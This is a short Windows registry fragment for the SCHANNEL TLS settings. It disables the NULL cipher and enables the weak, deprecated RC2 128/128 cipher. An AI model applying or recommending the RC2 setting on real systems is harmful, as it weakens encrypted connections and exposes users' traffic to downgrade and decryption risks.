[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\NULL]

"Enabled"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC2 128/128]

"Enabled"=dword:00000001